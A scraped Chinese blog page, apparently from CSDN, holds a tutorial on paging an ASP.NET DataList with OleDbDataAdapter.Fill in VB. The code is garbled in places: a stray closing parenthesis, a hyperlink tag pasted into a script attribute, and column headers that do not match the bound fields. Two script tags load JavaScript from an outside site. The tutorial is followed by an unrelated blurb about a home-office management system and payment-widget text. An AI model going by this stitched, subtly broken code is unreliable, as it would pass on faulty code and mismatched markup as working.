DataList的分页技术

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>  由于DataList不支持内建的分页机制,因此,我们必须使用 SqlDataAdapter对象的Fill方法来实现分页,Fill方法主要用来增加或刷新DataSet的记录行。Fill方法已经被重载,我们这里选用四个参数的那个重载方法:DataSet, startRecord, maxRecords 和 TableName。
  
  
  <%@ Import NameSpace="System.Data.OleDb" %>
  <%@ Import NameSpace="System.Data" %>
  <HTML>
   <HEAD>
   <script language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" runat="server">
   Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
   If Not Page.IsPostBack() Then
   intPageSize.Text = "2"
   intCurrIndex.Text = "0"
   DataBind()
   End If
   End Sub
  
   Private Sub DataBind()
   Dim CnString As String
   CnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="
   CnString = CnString + Server.MapPath("dataDB.mdb"))
   Dim objConn As New OleDbConnection(CnString)
   Dim objDA As New OleDbDataAdapter("SELECT * FROM Document ORDER BY CreateDate DESC", objConn)
   Dim objDS As New DataSet()
  
   If Not Page.IsPostBack() Then
   objDA.Fill(objDS)
   intRecordCount.Text = CStr(objDS.Tables(0).Rows.Count)
   objDS = Nothing
   objDS = New DataSet()
   End If
  
   objDA.Fill (objDS, CInt(intCurrIndex.Text), CInt(intPageSize.Text), "Document")
  
   dList.DataSource = objDS.Tables(0).DefaultView
   dList.DataBind()
   objConn.Close()
   PrintStatus()
   End Sub
  
   Public Sub ShowFirst(ByVal s As Object, ByVal e As EventArgs)
   intCurrIndex.Text = "0"
   DataBind()
   End Sub
  
  
   Public Sub ShowPrevious(ByVal s As Object, ByVal e As EventArgs)
   intCurrIndex.Text = Cstr(Cint(intCurrIndex.Text) - CInt(intPageSize.Text))
   If CInt(intCurrIndex.Text) < 0 Then
   intCurrIndex.Text = "0"
   End If
   DataBind()
   End Sub
  
   Public Sub ShowNext(ByVal s As Object, ByVal e As EventArgs)
   If CInt(intCurrIndex.Text) + 1 < CInt(intRecordCount.Text) Then
   intCurrIndex.Text = CStr(CInt(intCurrIndex.Text) + CInt(intPageSize.Text))
   End If
   DataBind()
   End Sub
  
   Public Sub ShowLast(ByVal s As Object, ByVal e As EventArgs)
   Dim tmpInt as Integer
  
   tmpInt = CInt(intRecordCount.Text) Mod CInt(intPageSize.Text)
   If tmpInt > 0 Then
   intCurrIndex.Text = Cstr(CInt(intRecordCount.Text) - tmpInt)
   Else
   intCurrIndex.Text = Cstr(CInt(intRecordCount.Text) - CInt(intPageSize.Text))
   End If
   DataBind()
   End Sub
  
   Private Sub PrintStatus()
   lblStatus.Text = "总记录数:<b>" & intRecordCount.Text
   lblStatus.Text += "</b> 当前:<b> "
   lblStatus.Text += CStr(CInt(CInt(intCurrIndex.Text) / CInt(intPageSize.Text)+1))
   lblStatus.Text += "</b>/<b>"
  
   If (CInt(intRecordCount.Text) Mod CInt(intPageSize.Text)) > 0 Then
   lblStatus.Text += CStr(CInt(CInt(intRecordCount.Text) / CInt(intPageSize.Text)+1))
   Else
   lblStatus.Text += CStr(CInt(intRecordCount.Text) / CInt(intPageSize.Text))
   End If
   lblStatus.Text += "</b>"
   End Sub
   </script>
   </HEAD>
   <body MS_POSITIONING="GridLayout">
  <TABLE height="528" cellSpacing="0" cellPadding="0" width="244" border="0"
  ms_2d_layout="TRUE">
  <TBODY>
  <TR vAlign="top">
  <TD width="244" height="528">
  <form id="Form1" method="post" runat="server">
  <TABLE height="227" cellSpacing="0" cellPadding="0" width="516" border="0"
  ms_2d_layout="TRUE">
  <TR vAlign="top">
  <TD width="10" height="15"></TD>
  <TD width="506"></TD>
  </TR>
  <TR vAlign="top">
  <TD height="48"></TD>
  <TD>
  <h2 align="center"><font face="verdana">Paging in DataList</font></h2>
  </TD>
  </TR>
  <TR vAlign="top">
  <TD height="106"></TD>
  <TD>
  <a name="this"></a>
  </TD>
  </TR>
  <TR vAlign="top">
  <TD height="19"></TD>
  <TD rowSpan="2">
  <table width="505" align="right" height="25">
  <tr>
  <td width="76%" align="left">
   <asp:label ID="lblStatus" Runat="server" Font-Name="verdana" Font-Size="10pt" />
  </td>
  <td width="6%">
   <a href="datalistpaging.aspx#this" ID="hrefFirst" onserverclick="ShowFirst" runat="server">
   <b><<</b></a>
  </td>
  <td width="6%">
   <a href="datalistpaging.aspx#this" ID="hrefPrevious"
   onserverclick="ShowPrevious" runat="server">
   <b><</b></a>
  </td>
  <td width="6%">
   <a href="datalistpaging.aspx#this" ID="hrefNext" onserverclick="ShowNext" runat="server">
   <b>></b></a>
  </td>
  <td width="6%">
   <a href="datalistpaging.aspx#this" ID="hrefLast" onserverclick="ShowLast" runat="server">
   <b>>></b></a>
  </td>
  </tr>
  </table>
  </TD>
  </TR>
  <TR vAlign="top">
  <TD height="19"></TD>
  <TD>
  <asp:label ID="intPageSize" Visible="False" Runat="server" /></TD>
  </TR>
  <TR vAlign="top">
  <TD height="20"></TD>
  <TD>
  <asp:label ID="intRecordCount" Visible="False" Runat="server" /></TD>
  </TR>
  <asp:DataList ID="dList" Runat="server" Width="100%"
  ItemStyle-BackColor="Beige" ItemStyle-Font-Name="宋体"
  BorderWidth="1" HeaderStyle-Font-Name="Verdana" EnableViewState="False">
  <HeaderTemplate>
  <table width="100%" style="font: 10pt verdana" cellpadding="0" cellspacing="0">
  <tr style="background-color:FF0000">
  <th align="left">
   <font color="#FFFFFF">Store ID</font></th>
  <th align="left">
   <font color="#FFFFFF">Order Number</font></th>
  <th align="left">
   <font color="#FFFFFF">Order Date</font></th>
  <th align="left">
   <font color="#FFFFFF">Qty</font></th>
  <th align="left">
   <font color="#FFFFFF">Title ID</font></th>
  </tr>
  </HeaderTemplate>
  <ItemTemplate>
  <tr style="background-color:#f5f5dc">
  <td><%# DataBinder.Eval(Container.DataItem, "id") %></td>
  <td><%# DataBinder.Eval(Container.DataItem, "Title") %></td>
  <td><%# DataBinder.Eval(Container.DataItem, "Author") %></td>
  <td><%# DataBinder.Eval(Container.DataItem, "Source") %></td>
  <td><%# DataBinder.Eval(Container.DataItem, "CreateDate") %></td>
  </tr>
  </ItemTemplate>
  <FooterTemplate>
  </TABLE>
  </FooterTemplate>
  </asp:DataList>
  <asp:label ID="intCurrIndex" Visible="False" Runat="server" />
  </TABLE>
  </FORM>
  </TD></TR>
  </TBODY>
  </TABLE>
  </body>
  </HTML>
  
  
  为了避免大量记录造成的网络阻塞,可以用存储过程。<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
疫情居家办公系统管理系统按照操作主体分为管理员和用户。管理员的功能包括办公设备管理、部门信息管理、字典管理、公告信息管理、请假信息管理、签到信息管理、留言管理、外出报备管理、薪资管理、用户管理、公司资料管理、管理员管理。用户的功能等。该系统采用了MySQL数据库,Java语言,Spring Boot框架等技术进行编程实现。 疫情居家办公系统管理系统可以提高疫情居家办公系统信息管理问题的解决效率,优化疫情居家办公系统信息处理流程,保证疫情居家办公系统信息数据的安全,它是一个非常可靠,非常安全的应用程序。 管理员权限操作的功能包括管理公告,管理疫情居家办公系统信息,包括外出报备管理,培训管理,签到管理,薪资管理等,可以管理公告。 外出报备管理界面,管理员在外出报备管理界面中可以对界面中显示,可以对外出报备信息的外出报备状态进行查看,可以添加新的外出报备信息等。签到管理界面,管理员在签到管理界面中查看签到种类信息,签到描述信息,新增签到信息等。公告管理界面,管理员在公告管理界面中新增公告,可以删除公告。公告类型管理界面,管理员在公告类型管理界面查看公告的工作状态,可以对公告的数据进行导出,可以添加新公告的信息,可以编辑公告信息,删除公告信息
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值